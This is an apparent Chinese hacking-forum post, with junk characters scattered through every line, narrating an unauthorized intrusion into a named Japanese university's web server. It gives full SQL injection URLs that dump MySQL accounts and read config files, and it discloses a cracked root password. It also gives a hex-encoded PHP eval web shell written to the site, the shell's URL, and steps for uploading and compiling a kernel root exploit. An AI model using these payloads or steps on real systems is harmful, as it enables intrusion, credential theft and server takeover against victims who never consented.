入侵日本同志社大学技术分析2 R0 c7 w/ n$ ?) h* E7 n" N; w7 Z
5 |- X) H& ]7 S1 Nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
& l% q$ m' W9 w4 ]然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
& D7 v+ v5 q& a
, ]2 ?9 z# c) ~- Z5 ~/ O& shttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user0 o" u# K( a6 B! C
( q8 B5 B1 q' ^+ N5 O
) u, R4 W! S! ], r e! f- x3 M2 [, ]; j
//@@datadir为数据库文件路径 : Q3 T- M7 t* T D+ I b
' p3 _1 @6 A& o: Z
2 r. M& G" [/ ]6 A7 ~
//load_file读取网站容器apache的配置文件
1 v0 I( K# N* z8 ~/ Z+ c 7 z& j0 O3 t& U+ r8 n# c' u
1 r& g- a$ h# D: u
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 , B5 ~/ c5 L: F) I
复制代码
/ l6 o7 e' F( V% w+ A7 d" l' Q% B0 Y- g( Z3 Y
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。; ?+ A( Q: C0 p/ V. R8 o* q" e
& s1 S6 N! N: i& Y0 d2 I. Q
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
! s3 Y* y' F3 T- t(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
% `& ~2 @, L" b
8 i. X' j2 l% z0 Z前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
' c' a- A% T9 r4 i! L! L2 b0 i如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
2 {3 c# f6 @% u* M9 r# _" M
/ Y: U) K- r8 W* b" D既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
a( w1 Z; B" _虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。: y9 O* Y7 }- m8 q. Y" ~
直接写一句话:
5 T0 b: L1 U* S* w5 `1 F
; C; y$ _) |! @1 |& A3 ?8 Yhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
$ l' l. H8 q8 ?* g2 D# k& e: ]& p" z$ F0 k# L
% M- I+ C) C; ~% t: b5 D5 v
8 A3 p6 H1 v: n6 @ P
//最后的#是为了闭合前面的语句
/ l$ n7 A ?' G# x/ { ^
& C ^! |5 v: R. u: D0 e
% I7 r [1 r& p% m$ ^/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
* A z3 J# r& A$ U
" F$ u: i3 D4 ]- z& }0 X" w+ M f- Y6 y2 T' r9 [1 A4 a
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 5 d3 X4 T6 p7 t6 {( d
6 ~0 E/ c0 d7 |: G$ l9 o) O, E% Q
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 + S1 [/ ~9 d! s) x0 m% U
F7 D+ U. L( G! v( l. A" a& y% T/ c
/ r3 A) M- J0 Y: t+ ~. L5 T# z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& P% V6 I2 T( b# ]* P//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 6 b9 v# k; e/ [( p" {1 _
复制代码- v- k; U. U+ c, K
, `* G/ u& z) u/ jHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有. i. T0 k5 k5 U! [- G0 w' J
通过上述注入语句,我们就得到了一句话木马:# X) d0 F5 O4 u
! b1 C! g. H l ( f# w' y/ D. K/ V
. O G# F9 l) _: K$ o; K; j
& O: ] Y) }9 W' O" ^6 E8 B8 e6 I; Z* q) g1 w
http://www.doshisha.ac.jp/english/engnews_img/aa.php 3 D7 ]9 [! b; K3 W7 p; h
复制代码
& M5 h, s* l: L3 u$ U) D* C/ ?/ d8 \( W: @* F
用菜刀连接,密码是cmd,如图所示:
7 H( S% Y( Y: q4 [, t; }$ W然后在命令提示行里看了一下,现在的权限是:7 m: Y K5 j. N, {
+ x- n* [, u9 f: j+ h, W之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* T' F* x: B' ?6 ?5 O& `好在赋权给这个文件夹不需要root,直接执行赋权语句:
6 l! H6 B9 W G; Z% R+ f3 d1 I# ?3 N! X3 u! A
4 R; ^* m( C# {$ A
) ^. M3 T$ p, E1 K0 u# f
, Q6 ]8 V3 E2 s& ~# c, ~
+ W- x3 W) v e: k
chmod +x /tmp/
% G' a5 R# u/ T9 R7 T复制代码
$ b/ D8 W- e( ]# n c6 q0 e0 {0 P4 E+ e; ]/ @0 m, E6 ^
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
/ r s4 N8 z; S8 L7 B0 @然后就查了一下内核版本:
9 E6 D& G3 d2 J" V- o
9 V7 F! r+ L. E/ n1 }
& X+ N+ }7 ?5 b8 C2 a- l8 ?
4 _# t( S6 @4 i6 ?( K
/ c6 H. u& k9 U a! y+ ?4 I- c
3 [0 C* H2 L# F) z! c$ Guname-a * Z5 D- w3 _4 R. R2 j
# W. H; i- O1 W
# v$ z* w" d& g8 {- b) l/ k//其实lsb_release -a
" Y ?1 c7 @1 }) e' W5 r% K复制代码
N* j6 A$ h+ P' U# i
" t. f: c; l3 p如图所示:) @9 P. k+ a) Y* w5 d3 \. h+ v' T
$ m/ r1 O7 \: f1 J0 C' v9 K) C$ X内核版本:linux mainz1 2.6.28-194.e15
0 I$ c! z- d7 o- {" a4 ]: X1 D) q系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
' l) C3 [3 a" Y. A1 C/ O查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹 [, Z1 }: `& N" W
$ I* `: n2 {6 l9 E5 H1 H. ^然后给予执行权限
, u, A' m. `: j- r% l1 I一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样& Q |; P! q- a( y& x$ z2 z& [! h
. h8 {7 w: m* w3 _: @
# V/ j) f+ B5 A, s
. o" f4 H H' ?7 B
: }9 j8 H7 c; X* {9 o, D3 c5 b, m0 W+ e/ ^: X$ Y7 O- l
chmod +x /tmp/2.6.18-194
* W) [' K4 N9 D; I4 H' [复制代码 然后直接执行!~
" b4 q$ C v4 Y: J2 J3 z+ {0 f
; {( |( k# @8 x; \. w7 O9 S0 N总结:. l& i* x: R' l$ j
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了4 s! o! y# ~& `! ?6 M
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
1 R0 Y' V1 D$ }$ g+ A
9 i1 F+ x. {, f/ P; w( Z! Z& n7 K |